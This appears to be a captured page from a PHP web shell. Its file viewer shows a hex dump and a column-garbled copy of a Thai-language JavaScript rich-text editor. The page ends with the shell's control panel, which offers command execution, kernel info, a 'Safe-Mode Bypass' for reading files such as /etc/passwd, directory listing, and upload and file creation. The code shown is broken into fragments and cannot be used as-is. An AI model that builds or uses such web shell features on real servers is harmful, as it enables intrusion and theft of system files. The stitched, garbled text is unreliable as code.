0A 20 20 20 20 20 20 6C 65 6E 3D 73 74 72 31 2E 6C 65 6E 67 74 68 0D 0A
20 20 20 20 20 20 69 3D 30 0D 0A 20 20 20 20 20 7D 0D 0A 20 20 20 20 73
74 72 31 3D 73 74 72 32 2B 73 74 72 31 0D 0A 20 20 20 20 6A 2B 2B 3B 0D
0A 20 20 20 7D 0D 0A 20 20 72 65 74 75 72 6E 20 73 74 72 31 3B 0D 0A 7D
0D 0A 0D 0A 2F 2F 20 56 49 53 55 41 4C 3D 30 20 3A 20 54 65 78 74 61 72
65 61 20 74 6F 20 45 64 69 74 6F 72 20 61 66 74 65 72 20 63 6F 6E 66 69
72 6D 61 74 69 6F 6E 0D 0A 0D 0A 2F 2F 20 56 49 53 55 41 4C 3D 31 20 3A
20 61 6C 6C 20 54 65 78 74 61 72 65 61 20 74 6F 20 45 64 69 74 6F 72 0D
0A 69 66 28 56 49 53 55 41 4C 3D 3D 31 29 20 63 68 61 6E 67 65 41 6C 6C
54 65 78 74 61 72 65 61 54 6F 45 64 69 74 6F 72 73 28 29 3B 0D 0A 0D 0A
2F 2F 20 56 49 53 55 41 4C 3D 32 20 3A 20 73 6F 6D 65 20 73 70 65 63 69
66 69 63 20 69 66 72 61 6D 65 73 20 0D 0A 69 66 28 56 49 53 55 41 4C 3D
3D 32 29 20 63 68 61 6E 67 65 49 66 72 61 6D 65 54 6F 45 64 69 74 6F 72
28 27 63 6F 6E 74 65 6E 74 73 31 27 2C 27 63 6F 6E 74 65 6E 74 73 27 29
3B 20 2F 2F 20 70 6C 65 61 73 65 20 72 65 70 6C 61 63 65 20 63 6F 6E 74
65 6E 74 73 2E 2E 20 3D 20 66 72 61 6D 65 49 64 0D 0A 0D 0A 2F 2F 20 56
49 53 55 41 4C 3D 33 20 3A 20 61 6C 6C 20 49 66 72 61 6D 65 20 74 6F 20
45 64 69 74 6F 72 0D 0A 69 66 28 56 49 53 55 41 4C 3D 3D 33 29 20 63 68
61 6E 67 65 41 6C 6C 49 66 72 61 6D 65 54 6F 45 64 69 74 6F 72 73 28 29
3B 0D 0A 0D 0A 2F 2F 20 56 49 53 55 41 4C 3D 34 20 3A 20 63 68 61 6E 67
65 20 6F 6E 6C 79 20 73 70 65 63 69 66 69 63 20 74 65 78 74 61 72 65 61
0D 0A 69 66 28 56 49 53 55 41 4C 3D 3D 34 29 20 63 68 61 6E 67 65 74 6F
49 66 72 61 6D 65 45 64 69 74 6F 72 28 64 6F 63 75 6D 65 6E 74 2E 66 6F
72 6D 73 5B 78 78 78 5D 2E 79 79 79 29 3B 20 2F 2F 20 70 6C 65 61 73 65
20 72 65 70 6C 61 63 65 20 78 78 78 3D 66 6F 72 6D 49 6E 64 65 78 20 61
6E 64 20 79 79 79 3D 74 65 78 74 61 72 65 61 4E 61 6D 65 0D 0A 0D 0A 2F
2F 20 56 49 53 55 41 4C 3E 34 20 3A 20 6E 6F 20 56 69 73 75 61 6C 2D 45
64 69 74 6F 72 2C 20 6F 6E 6C 79 20 75 73 65 20 52 69 67 68 74 6D 6F 75
73 65 2D 43 6F 6E 74 72 6F 6C 0D 0A
  var fID; //*** IFRAME 
ID  var TXTOBJ; //*** TE
XT Obj  var format = new
 Array();  var viewm = n
ew Array();      /******
************************
********/  document.onmo
usedown=doMousedown  doc
ument.onmouseup=doMouseu
p      function changeto
IframeEditor(el)  {     
var wi= '', hi= '';     
if(el.style.height) hi= 
" height=" + el.style.he
ight     else if(el.rows
) hi= " height=" + (14*e
l.rows+28)     if(el.sty
le.width) wi= " width=" 
+ el.style.width     els
e if(el.cols) wi= " widt
h=" + (6*el.cols +25)   
           var parent= e
l.parentElement     whil
e(parent.tagName != 'FOR
M') parent= parent.paren
tElement     var oform= 
parent     var fidx=0; w
hile(document.forms[fidx
] != oform) fidx++ ; // 
form index       var val
=''     if(el.tagName=='
TEXTAREA'){ fID= fidx+'V
DevID'+el.name; val= el.
innerText }     else fID
= fidx+'VDevID'+el.id   
    var strx = createEdi
tor(fID,wi,hi);     el.o
uterHTML= strx          
iEditor(fID)       if(el
.tagName!='TEXTAREA') re
turn              var re
g= eval("/<br>/i") ;    
 if( reg.test(val) ) val
= val.replace(/\n/g, "")
;     else val= val.repl
ace(/\n/g, "<br>");     
  val= val.replace(/\r/g
, "");     val= val.repl
ace(/\t/g, "");       va
l= val.replace(/\\/g, "&
#92");     val= val.repl
ace(/\'/g, "&#39;");    
   setTimeout("document.
frames['"+fID+"'].docume
nt.body.innerHTML='"+val
+"'",200)     oform[fID.
split('VDevID')[1]].valu
e= val    }      functio
n iEditor(idF)  {    var
 obj=document.frames[idF
]    obj.document.design
Mode="On"    obj.documen
t.onmousedown= function(
){  TXTOBJ=null; fID=idF
; FMousedown();}        
format[idF]='HTML'    vi
ewm[idF]=1;  }      func
tion formatDialogF()  { 
   var y = screen.height
 - parseInt('30em')*14 -
 30     var feature = "f
ont-family:Tahoma; font-
size:10pt; dialogWidth:3
0em; dialogHeight:27em; 
dialogTop:"+y        fea
ture+= ";edge:sunken; he
lp:no; status:no"      v
ar dialog= QBPATH+'/dial
og.html'    var arr= sho
wModalDialog(dialog, "vi
sual", feature);    if(a
rr==null) return ;      
 doFormatF(arr)         
}      function FMousedo
wn()  {    var objF=docu
ment.frames[fID];   // i
f(objF && objF.event && 
objF.event.button==2) fo
rmatDialogF();      var 
el = objF.event.srcEleme
nt     doClick(el)  }   
   // init all found TEX
TAREA in document  funct
ion changeAllTextareaToE
ditors()  {    var i=0; 
   while(document.all.ta
gs('textarea')[i])     {
       changetoIframeEdi
tor(document.all.tags('t
extarea')[i])   if(++i>0
 && !document.all.tags('
textarea')[i] ) i=0;    
 }    }      // init all
 found IFRAME in documen
t to Editable  function 
changeAllIframeToEditors
()  {    var i=0;    whi
le(document.all.tags('if
rame')[i])    {    chang
etoIframeEditor(document
.all.tags('iframe')[i]) 
  i++    }    }      // 
init only IFRAMEs that h
ave "id=argument of init
Editors"  // e.g. change
IframeToEditor('id1','id
2',...)  function change
IframeToEditor()  {    f
or(var j=0;j<arguments.l
ength;j++)     {       v
ar i=0;    while(documen
t.all.tags('iframe')[i])
     {    if(document.a
ll.tags('iframe')[i].id 
== arguments[j])     { 
changetoIframeEditor(doc
ument.all.tags('iframe')
[i]); break; }       i++
     }     }  }        /
////////////////////////
////////////////////////
////////////////  functi
on  controlRows()  {    
iurl= QBPATH + '/imgedit
'      str = "<TR bgColo
r=#EAEAEA align=left val
ign=middle >\  <STYLE>IM
G {cursor:hand}</STYLE>\
  <TD nowrap>\  <SELECT 
name='QBCNTRL1' onchange
='doFormatF(\"FontName,\
"+this.value)' style='he
ight:22; width:165; back
ground:#EAEAEA; color:#0
00000; font-size:12px'>\
  <OPTION value='MS Sans
 Serif'>Select Font\  <O
PTION value='MS Sans Ser
if'>Font='MS Sans Serif'
\  <OPTION value='Tahoma
'>Font='Tahoma'\  <OPTIO
N value='Microsoft Sans 
Serif'>Font='Microsoft S
ans Serif'\  <OPTION val
ue='AngsanaUPC'>Font='An
gsanaUPC'\  <OPTION valu
e='Arial'>Font='Arial'\ 
 <OPTION value='Times Ne
w Roman'>Font='Times New
 Roman'\  <OPTION value=
'Courier New'>Font='Cour
ier New'\  </SELECT>\  <
SELECT name='QBCNTRL3' o
nchange='doFormatF(\"Fon
tSize,\"+this.value)' st
yle='height:22; width:11
5; background:#EAEAEA; c
olor:#000000; font-size:
12px'>\  <OPTION value=2
>Font Size\  <OPTION val
ue=7>Size=7\  <OPTION va
lue=6>Size=6\  <OPTION v
alue=5>Size=5\  <OPTION 
value=4>Size=4\  <OPTION
 value=3>Size=3\  <OPTIO
N value=2>Size=2\  <OPTI
ON value=1>Size=1\  </OP
TION>\  </SELECT>\  <img
 src='IURL/left.gif' bor
der=0 alt='ชิดซ้าย' widt
h=23 height=22 onclick='
doFormatF(\"JustifyLeft\
")'>\  <img src='IURL/ce
nter.gif' border=0 alt='
จัดกึ่งกลาง' width=23 he
ight=22 onclick='doForma
tF(\"JustifyCenter\")'>\
  <img src='IURL/right.g
if' border=0 alt='ชิดขวา
' width=23 height=22 onc
lick='doFormatF(\"Justif
yRight\")'>\  <img src='
IURL/bold.gif' border=0 
alt='ตัวหนา' width=23 he
ight=22 onclick='doForma
tF(\"Bold\")'>\  <img sr
c='IURL/italic.gif' bord
er=0 alt='ตัวเอียง' widt
h=23 height=22 onclick='
doFormatF(\"Italic\")'>\
  <img src='IURL/under.g
if' border=0 alt='ขีดเส้
นใต้' width=23 height=22
 onclick='doFormatF(\"Un
derline\")'>\  <img src=
'IURL/strike.gif' border
=0 alt='ตัวขีด' width=23
 height=22 onclick='doFo
rmatF(\"StrikeThrough\")
'>\  <img src='IURL/bgco
lor.gif' border=0 alt='ส
ีพื้นตัวอักษร' width=23 
height=22 onclick='selec
tBgColor()'>\  <img src=
'IURL/fgcolor.gif' borde
r=0 alt='สีตัวอักษร' wid
th=23 height=22 onclick=
'selectFgColor()'>\  <im
g src='IURL/link.gif' bo
rder=0 alt='สร้างลิงค์ U
RL' width=23 height=22 o
nclick='doFormatF(\"Crea
teLink\")'>\  <img src='
IURL/unlink.gif' border=
0 alt='ลบลิงค์ URL' widt
h=23 height=22 onclick='
doFormatF(\"UnLink\")'>\
  <img src='IURL/cut.gif
' border=0 alt='ตัด' wid
th=23 height=22 onclick=
'doFormatF(\"Cut\")'>\  
<img src='IURL/copy.gif'
 border=0 alt='คัดลอก' w
idth=23 height=22 onclic
k='doFormatF(\"Copy\")'>
\  <img src='IURL/paste.
gif' border=0 alt='วาง' 
width=23 height=22 oncli
ck='doFormatF(\"Paste\")
'>\  <img src='IURL/your
img.gif' border=0 alt='แ
ทรกภาพ' width=23 height=
22 onclick='doUploadFile
()' name='QBCNTRL7'>\  <
br><INPUT name='QBCNTRL5
' value='เปลี่ยนโหมด HTM
L/VIEW' onclick='swapMod
e()' type=button style='
height:22; width:150; ba
ckground:#CCCCCC; border
-color:#EAEAEA; color:#0
00000; font-size:12px'>\
  <img src='IURL/instabl
e.gif' border=0 alt='สร้
างตาราง' width=23 height
=22 onclick='insertTable
()'>\  <img src='IURL/ta
bprop.gif' border=0 alt=
'จัดรูปแบบตาราง' width=2
3 height=22 onclick='tab
leProp()'>\  <img src='I
URL/cellprop.gif' border
=0 alt='จัดรูปแบบช่องตาร
าง' width=23 height=22 o
nclick='cellProp()'>\  <
img src='IURL/inscell.gi
f' border=0 alt='เพิ่มช่
อง' width=23 height=22 o
nclick='insertCell()'>\ 
 <img src='IURL/delcell.
gif' border=0 alt='ลบช่อ
ง' width=23 height=22 on
click='deleteCell()'>\  
<img src='IURL/insrow.gi
f' border=0 alt='เพิ่มแถ
วแนวนอน' width=23 height
=22 onclick='insertRow()
'>\  <img src='IURL/delr
ow.gif' border=0 alt='ลบ
แถวแนวนอน' width=23 heig
ht=22 onclick='deleteRow
()'>\  <img src='IURL/in
scol.gif' border=0 alt='
เพิ่มแถวแนวตั้ง' width=2
3 height=22 onclick='ins
ertCol()'>\  <img src='I
URL/delcol.gif' border=0
 alt='ลบแถวแนวตั้งl' wid
th=23 height=22 onclick=
'deleteCol()'>\  <img sr
c='IURL/mrgcell.gif' bor
der=0 alt='รวมคอลัม' wid
th=23 height=22 onclick=
'morecolSpan()'>\  <img 
src='IURL/spltcell.gif' 
border=0 alt='แยกคอลัม' 
width=23 height=22 oncli
ck='lesscolSpan()'>\  <i
mg src='IURL/mrgrow.gif'
 border=0 alt='รวมแถว' w
idth=23 height=22 onclic
k='morerowSpan()'>\  <im
g src='IURL/spltrow.gif'
 border=0 alt='แยกแถว' w
idth=23 height=22 onclic
k='lessrowSpan()'>\  </T
D></TR>"     str = str.r
eplace(/IURL/g, iurl);  
 return str ;   }      f
unction createEditor(id,
wi,hi)  {    var strx = 
"<iframe id="+id+ hi +" 
width=100%></iframe>"   
   var idA= id.split('VD
evID')      strx += "<in
put name="+idA[1]+" type
=hidden></input>"       
var str="<TABLE border=0
 cellspacing=0 cellpaddi
ng=1" + wi + "><tr><td>"
    str += strx + "</td>
</tr>"        str += con
trolRows();      str += 
"</TABLE>" ;      return
 str ;    }  ///////////
////////////////////////
////////////////////////
//////      function doF
ormatF(arr)  {    var ob
jF=document.frames[fID];
    if(!objF){alert('Ple
ase click to select the 
editor');return}    objF
.focus()      var cmd = 
new Array();    cmd = ar
r.split(',')      if(cmd
[0]=='SelectAll') select
All();    else if(cmd[0]
=='Swap[Text/HTML]') swa
pMode();     else if(cmd
[0]=='Swap[Uni/View]') s
wapView();    else if(cm
d[0]=='InsertTable') ins
ertTable();    else if(c
md[0]=='TablePropeties')
 tableProp();    else if
(cmd[0]=='CellPropeties'
) cellProp();    else if
(cmd[0]=='InsertLayer') 
insertDivLayer();    els
e if(cmd[0]=='EditLayerB
order') editDivBorder();
    else if(cmd[0]=='Edi
tLayerFilter') editDivFi
lter();    else if(cmd[0
]=='Emotions') editEmoti
ons(cmd[1],objF);    els
e   {     var edit=objF.
document;      if(cmd[0]
=='formatBlock') edit.ex
ecCommand(cmd[0],false,"
<"+cmd[1]+">")     else 
if(cmd[0]=='InsertImage'
 && !cmd[1] )     {   
  alert('Please notice:\
nThe "Picture Source" in
 follow Dialog must be a
 URL, not a local addres
s.');    //   alert(cm
d[0]);   //   alert(cm
d[1]);   edit.execComm
and(cmd[0],true,"")     
 }     else      {     
//  alert(cmd[0]);     
//   alert(cmd[1]);    
 edit.execCommand(cmd[0]
,false,cmd[1]);     }  
   }    }      function 
editEmotions(wrd,obj)  {
    var caret=obj.docume
nt.selection.createRange
();    obj.curword=caret
.duplicate();    obj.cur
word.text= wrd + ' '  } 
     function  swapView(
)  {   var objF=document
.frames[fID];   if(!objF
){alert('Please click to
 select the editor');ret
urn}   objF.focus()     
if(format[fID]=="HTML") 
  {    objF.document.bod
y.style.fontFamily="Taho
ma"    objF.document.bod
y.style.fontSize="10pt" 
   objF.document.body.st
yle.color="black"    obj
F.document.body.style.ba
ckground="#e0e0f0"    va
r strx=objF.document.bod
y.innerHTML    if(viewm[
fID]) strx=toUnicode(str
x)    else strx=viewISOC
ode(strx)    format[fID]
="Text"   }   else   {  
  var strx=objF.document
.body.innerText    if(vi
ewm[fID]) strx=toUnicode
(strx)    else strx=view
ISOCode(strx)   }     ob
jF.document.body.innerTe
xt=strx   viewm[fID]=1 -
 viewm[fID]    }      fu
nction swapMode()  {   v
ar objF=document.frames[
fID];   if(!objF){alert(
'Please click to select 
the editor');return}   o
bjF.focus()      if(form
at[fID]=="HTML")   {    
var strx=objF.document.b
ody.innerHTML    objF.do
cument.body.innerText=st
rx    objF.document.body
.style.fontFamily="monos
pace"    objF.document.b
ody.style.fontSize="10pt
"    objF.document.body.
style.color="black"    o
bjF.document.body.style.
background="#e0e0f0"    
format[fID]="Text"   }  
 else   {    objF.docume
nt.body.style.fontFamily
='Tahoma'    objF.docume
nt.body.style.color="#00
0000"    objF.document.b
ody.style.background="" 
   var strx=objF.documen
t.body.innerText    objF
.document.body.innerHTML
=strx    format[fID]="HT
ML"    viewm[fID]=1   } 
   }      function selec
tAll()  {     var objF=d
ocument.frames[fID];    
if(!objF){alert('Please 
click to select the edit
or');return}    objF.foc
us()    var s=objF.docum
ent.body.createTextRange
()    s.execCommand('Sel
ectAll')  }        funct
ion doFormatDialog(file,
cmd,arg)  {     var urlx
= QBPATH + '/' + file   
   var objF=document.fra
mes[fID];    if(!objF){a
lert('Please click to se
lect the editor');return
}      var arr=showModal
Dialog(urlx, arg, "font-
family:Tahoma; font-size
:12px; dialogWidth:30em;
 dialogHeight:34em; edge
:sunken; help:no; status
:no");    if(arr !=null)
 doFormatF(cmd+','+arr) 
 }      function selectE
moticon()  {     doForma
tDialog('emoticon.html',
'InsertImage',QBPATH)  }
    function selectBgCol
or()  {     doFormatDial
og('selcolor.html','Back
Color','')  }      funct
ion selectFgColor()  {  
   doFormatDialog('selco
lor.html','ForeColor',''
)  }      function chara
cters()  {    var objF=d
ocument.frames[fID];    
if(!objF){alert('Please 
click to select the edit
or');return}    objF.foc
us();      var sel = obj
F.document.selection;   
 if(sel.type=="Control")
 return       var urlx= 
QBPATH + '/selchar.html'
    var arr=showModalDia
log(urlx, '', "font-fami
ly:Tahoma; font-size:12p
x; dialogWidth:30em; dia
logHeight:34em; edge:sun
ken; help:no; status:no"
);    if(arr==null) retu
rn      var arrA = arr.s
plit(';QuIcKbUiLd;')    
  var strx= "<FONT FACE=
'" + arrA[0] + "'>" + ar
rA[1] + "</FONT>"      v
ar Range = sel.createRan
ge();    if(!Range.dupli
cate) return;    Range.p
asteHTML(strx);    }    
    function doUploadFil
e()  {    var urlx= QBPA
TH + '/contents_upload.p
hp'      var twidth= 0.8
*screen.width, theight=1
90;    var tposx= (scree
n.width- twidth)/2    va
r tposy= screen.height- 
theight - 55            
    var newWin1=window.o
pen(urlx,"upload","toolb
ar=no,width=600,height=2
50,directories=no,status
=no,scrollbars=yes,resiz
able=no, menubar=no")   
 newWin1.moveTo(tposx,tp
osy);    newWin1.focus()
    }      function help
2()  {    var urlx= QBPA
TH + '/iconhelp.html'   
  /* var twidth= 0.1*scr
een.width, theight=300; 
   var tposx= (screen.wi
dth- twidth)/2    var tp
osy= screen.height- thei
ght - 25*/              
  var newWin1=window.ope
n(urlx,"help","toolbar=n
o,width=710,height=700,d
irectories=no,status=no,
scrollbars=yes,resizable
=no, menubar=no")  //  n
ewWin1.moveTo(tposx,tpos
y);    newWin1.focus()  
  }      function dolink
File()  {    var urlx= Q
BPATH + '/loadlinkgo.php
'      var twidth= 0.8*s
creen.width, theight=190
;    var tposx= (screen.
width- twidth)/2    var 
tposy= screen.height- th
eight - 55              
  var newWin1=window.ope
n(urlx,"linkins","toolba
r=no,width=500,height=36
0,directories=no,status=
no,scrollbars=yes,resiza
ble=no, menubar=no")    
newWin1.moveTo(tposx,tpo
sy);    newWin1.focus() 
   }      function inser
tLink(linkurl,namelink) 
 {    var objF=document.
frames[fID];    if(!objF
 && !TXTOBJ){alert('Plea
se click a text element'
);return}        if( obj
F )    {   objF.focus();
      var sel = objF.doc
ument.selection;   var s
trx= "<A href='"+linkurl
+"' target=nwin>" + name
link + "</A>"     var Ra
nge = sel.createRange();
   if(!Range.duplicate) 
return;   Range.pasteHTM
L(strx);    }    else   
  {   TXTOBJ.focus();   
   var caret= TXTOBJ.doc
ument.selection.createRa
nge()   TXTOBJ.curword=c
aret.duplicate();   var 
strx= "<A href='"+linkur
l+"' target=nwin>" + nam
elink + "</A>,"   doForm
at(strx,caret)    }     
 }      function insertf
lash(infla)  {    var ob
jF=document.frames[fID];
    if(!objF && !TXTOBJ)
{alert('Please click a t
ext element');return}   
     if( objF )    {   o
bjF.focus();      var se
l = objF.document.select
ion;   var strx= "<objec
t  classid=clsid:D27CDB6
E-AE6D-11cf-96B8-4445535
40000 codebase=http://do
wnload.macromedia.com/pu
b/shockwave/cabs/flash/s
wflash.cab#version=6,0,2
9,0><param name=movie va
lue="+infla+"><param nam
e=quality value=high><em
bed src="+infla+" qualit
y=high pluginspage=http:
//www.macromedia.com/go/
getflashplayer type=appl
ication/x-shockwave-flas
h></embed></object>"    
var Range = sel.createR
ange();   if(!Range.dupl
icate) return;   Range.p
asteHTML(strx);      }  
  }      function linkin
s(linkurl,linkname)  {  
  var objF=document.fram
es[fID];    if(!objF && 
!TXTOBJ){alert('Please c
lick a text element');re
turn}        if( objF ) 
   {   objF.focus();    
  var sel = objF.documen
t.selection;   var strx=
 "<A href='"+linkurl+"' 
target=_self>" + linknam
e + "</A>"     var Range
 = sel.createRange();  
if(!Range.duplicate) ret
urn;   Range.pasteHTML(s
trx);    }    else     {
   TXTOBJ.focus();      
var caret= TXTOBJ.docume
nt.selection.createRange
()   TXTOBJ.curword=care
t.duplicate();   var str
x= "<A href='"+linkurl+"
' target=_self>" + linkn
ame + "</A>,"   doFormat
(strx,caret)    }  }    
  function linkinimg(lin
kurl,linkname)  {    var
 objF=document.frames[fI
D];    if(!objF && !TXTO
BJ){alert('Please click 
a text element');return}
        if( objF )    { 
  objF.focus();      var
 sel = objF.document.sel
ection;   var strx= "<A 
href='"+linkurl+"' targe
t=_self><img src=" + lin
kname + " border=0></A>"
     var Range = sel.cre
ateRange();   if(!Range.
duplicate) return;   Ran
ge.pasteHTML(strx);    }
    else     {   TXTOBJ.
focus();      var caret=
 TXTOBJ.document.selecti
on.createRange()   TXTOB
J.curword=caret.duplicat
e();   var strx= "<A hre
f='"+linkurl+"' target=_
self><img src=" + linkna
me + " border=0></A>"  
doFormat(strx,caret)    
}  }      function field
2form(str1)  {    var st
r2    var index    var l
enx    index=str1.indexO
f('<FIELDSET')    while(
index>=0)    {      lenx
=str1.length      str1=s
tr1.substring(0,index) +
 "<FORM" + str1.substrin
g(index+9,lenx)      ind
ex=str1.indexOf('<FIELDS
ET')     }    index=str1
.indexOf('</FIELDSET>') 
   while(index>=0)    { 
     lenx=str1.length   
   str1=str1.substring(0
,index) + "</FORM>" + st
r1.substring(index+11,le
nx)      index=str1.inde
xOf('<FIELDSET>')    }  
  return str1  }      fu
nction form2field(str1) 
 {    var str2    var in
dex    var lenx    index
=str1.indexOf('<FORM')  
  while(index>=0)    {  
    lenx=str1.length    
  str1=str1.substring(0,
index) + "<FIELDSET" + s
tr1.substring(index+5,le
nx)      index=str1.inde
xOf('<FORM')    }    ind
ex=str1.indexOf('</FORM>
')    while(index>=0)   
 {      lenx=str1.length
      str1=str1.substrin
g(0,index) + "</FIELDSET
>" + str1.substring(inde
x+7,lenx)      index=str
1.indexOf('</FORM>')    
}    return str1  }     
 function insertDivLayer
()  {    var objF=docume
nt.frames[fID];    if(!o
bjF){alert('Please click
 to select the editor');
return}    objF.focus() 
       var sel = objF.do
cument.selection;    if 
(sel==null) return      
var Range = sel.createRa
nge();    var wrd='' ;  
    if(sel.type!="Contro
l")    {     if(!Range.d
uplicate) return;     ob
jF.curword=Range.duplica
te();     wrd= objF.curw
ord.text;   if(wrd=='') 
wrd="กรุณาดับเบิ้ลคิลกที
่กล่องข้อความเพื่อพิมพ์ข
้อความ และฉันสามารถช่วยค
ุณสร้างหน้าข่าวของคุณให้
น่าสนใจได้  เครื่องมือที
่มีอยู่สามารถช่วยให้คุณต
บแต่งกล่องข้อความนี้ให้ด
ูดีได้ตัวตัวคุณเอง หากคุ
ณสนใจลองมองปุ่มสี่ฟ้า 3 
ปุ่มในเนวิเกเตอร์บาร์ด้า
นล่างแล้วลองใช้ แต่อย่าล
ืมเลือกกล่องข้อความก่อนท
ำล่ะ"   var arr= "<DIV s
tyle='position:relative;
 width:150px; height:100
px; font-family:Tahoma; 
font-size:12px; backgrou
nd-color:#f0fdd0; border
:1 solid'>"+ wrd + "</DI
V>" ;   Range.pasteHTML(
arr);   return    }     
   if(Range(0).tagName!=
'DIV') return      var u
rlx= QBPATH + '/divstyle
.html'      var twidth= 
0.8*screen.width, theigh
t=190;    var tposx= (sc
reen.width- twidth)/2   
 var tposy= screen.heigh
t- theight - 55         
      var newWin1=windo
w.open(urlx,"divstyle","
toolbar=no,width="+ twid
th+",height="+ theight+ 
",directories=no,status=
no,scrollbars=yes,resiza
ble=no, menubar=no")    
newWin1.moveTo(tposx,tpo
sy);    newWin1.focus() 
   }      function editD
ivBorder()  {    var obj
F=document.frames[fID]; 
   if(!objF){alert('Plea
se click to select the e
ditor');return}    objF.
focus()        var sel =
 objF.document.selection
;    if (sel==null || se
l.type!='Control') {aler
t('กรุณาเลือกกล่องข้อควา
มที่ต้องการตบแต่ง');retu
rn}       var Range = se
l.createRange();    if(R
ange(0).tagName!='DIV') 
return      var urlx= QB
PATH + '/divborder.html'
      var twidth= 0.8*sc
reen.width, theight=215;
    var tposx= (screen.w
idth- twidth)/2    var t
posy= screen.height- the
ight - 55               
 var newWin1=window.open
(urlx,"divborder","toolb
ar=no,width="+ twidth+",
height="+ theight+ ",dir
ectories=no,status=no,sc
rollbars=yes,resizable=n
o, menubar=no")    newWi
n1.moveTo(tposx,tposy); 
   newWin1.focus()    } 
     function editDivFil
ter()  {    var objF=doc
ument.frames[fID];    if
(!objF){alert('Please cl
ick to select the editor
');return}    objF.focus
()      var sel = objF.d
ocument.selection;    if
 (sel==null || sel.type!
='Control') {alert('กรุณ
าเลือกกล่องข้อความที่ต้อ
งการตบแต่ง');return}    
   var Range = sel.creat
eRange();    if(Range(0)
.tagName!='DIV') return 
     var urlx= QBPATH + 
'/divfilter.html'      v
ar twidth= 0.8*screen.wi
dth, theight=210;    var
 tposx= (screen.width- t
width)/2    var tposy= s
creen.height- theight - 
55                var ne
wWin1=window.open(urlx,"
divfilter","toolbar=no,w
idth="+ twidth+",height=
"+ theight+ ",directorie
s=no,status=no,scrollbar
s=yes,resizable=no, menu
bar=no")    newWin1.move
To(tposx,tposy);    newW
in1.focus()    }        
/**** From Html-Code to 
UNICODE ***********/  fu
nction  viewISOCode(str1
)  {   var c0, str2='', 
strx='', idx;      idx=s
tr1.indexOf('&#')   if(i
dx<0) return str1   var 
i=0   while (i<str1.leng
th)    {      c0=str1.su
bstring(i,i+2)      i++ 
     if(c0 !='&#') conti
nue      strx  +=str1.su
bstring(0,i-1)      str1
=str1.substring(i-1,str1
.length)      idx=str1.i
ndexOf(';')      if(idx 
<0) break;      str2=str
1.substring(2,idx)      
str2++;str2--      str1=
str1.substring(idx+1,str
1.length)      strx +=St
ring.fromCharCode(str2) 
     i=0    }   return s
trx+str1;  }        func
tion actualize()  {    v
ar i=0;    while(documen
t.all.tags('iframe')[i])
    {    setHiddenValue(
document.all.tags('ifram
e')[i].id)    i++    }  
}        function setHid
denValue(fid)  {    if(!
fid) return     var strx
= editorContents(fid)   
var idA= fid.split('VDev
ID')   if(!idA[0]) retur
n;     var fobj= documen
t.forms[idA[0]]   if(!fo
bj) return;     eval("do
cument.forms[idA[0]]." +
idA[1] + ".value='"+ str
x +"'")  }         funct
ion editorContents(frame
ID)  {    var objF=docum
ent.frames[frameID]    i
f(!objF)return      var 
strx;    if(format[frame
ID]=="HTML") strx=objF.d
ocument.body.innerHTML  
  else strx=objF.documen
t.body.innerText      st
rx = strx.replace(/\r/g,
 "");     strx = strx.re
place(/\n/g, "");     st
rx = strx.replace(/\'/g,
"&#39;")      // Securit
y    if(SECURE==1)   {  
  strx = strx.replace(/
 on/ig, " o&shy;n");   
  strx = strx.replace(/s
cript:/ig, "script&shy;:
");       }      return 
strx  }        function 
doMouseup()  {   var el=
event.srcElement    if(!
el.type) return     if(e
l.type!='text'&&el.type!
='textarea')    {   if(!
el.name || el.name.subst
ring(0,7)!='QBCNTRL') ac
tualize();      return  
  }     var visual=''   
if(el.type=='textarea' &
& VISUAL==0) visual=conf
irm("Use Visual Mode ?")
        if(visual) chang
etoIframeEditor(el);    
}        function doMous
edown()  {    var el=eve
nt.srcElement     if(!el
.type || (el.type!='text
'&&el.type!='textarea'))
 return    if( el.type==
'text' || el.type=='text
area'){ TXTOBJ=el; fID='
' }      if(event.button
==2) formatDialog(el)  }
      function doFormat(
arr,caret)  {    var wrd
=TXTOBJ.curword.text    
  var cmd = new Array();
    cmd = arr.split(',')
      if(!cmd[0] || cmd[
0]=='Swap[Text/HTML]' ||
 cmd[0]=='Swap[Uni/View]
' ) return     if(cmd[0]
=='SelectAll') { TXTOBJ.
focus(); TXTOBJ.select()
; return }    if(cmd[0]=
='Cut') { caret.execComm
and("Cut"); return }    
if(cmd[0]=='Copy') { car
et.execCommand("Copy"); 
return }    if(cmd[0]=='
Paste') { caret.execComm
and("Paste"); return }  
    TXTOBJ.curword=caret
.duplicate();    TXTOBJ.
curword.text= cmd[0]+wrd
+cmd[1]  }    /*  functi
on formatDialog()  {    
TXTOBJ.focus();    var c
aret=TXTOBJ.document.sel
ection.createRange()    
TXTOBJ.curword=caret.dup
licate();      var y = s
creen.height -parseInt('
27em')*14 - 30     var f
eature = "font-family:Ar
ial;font-size:10pt;dialo
gWidth:30em;dialogHeight
:27em;dialogTop:"+y     
   feature+= ";edge:sunk
en;help:no;status:no"   
   var dialog= QBPATH+'/
dialog.html'    var arr=
 showModalDialog(dialog,
 "", feature);    if(arr
==null) return ;      do
Format(arr,caret)    }*/
        function  toUnic
ode(str1)  {    var code
, str2 , j=0;    var len
    while(j<2)     {   l
en=str1.length   str2=''
   for(var i=0;i<len;i++
)     {        code=str1
.charCodeAt(i);        i
f(code<128) continue;   
     str2 +=str1.substri
ng(0,i) + '&#' + code + 
';'        str1=str1.sub
string(i+1,str1.length) 
       len=str1.length  
      i=0       }      s
tr1=str2+str1      j++; 
    }    return str1;  }
    // VISUAL=0 : Textar
ea to Editor after confi
rmation    // VISUAL=1 :
 all Textarea to Editor 
 if(VISUAL==1) changeAll
TextareaToEditors();    
// VISUAL=2 : some speci
fic iframes   if(VISUAL=
=2) changeIframeToEditor
('contents1','contents')
; // please replace cont
ents.. = frameId    // V
ISUAL=3 : all Iframe to 
Editor  if(VISUAL==3) ch
angeAllIframeToEditors()
;    // VISUAL=4 : chang
e only specific textarea
  if(VISUAL==4) changeto
IframeEditor(document.fo
rms[xxx].yyy); // please
 replace xxx=formIndex a
nd yyy=textareaName    /
/ VISUAL>4 : no Visual-E
ditor, only use Rightmou
se-Control  

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

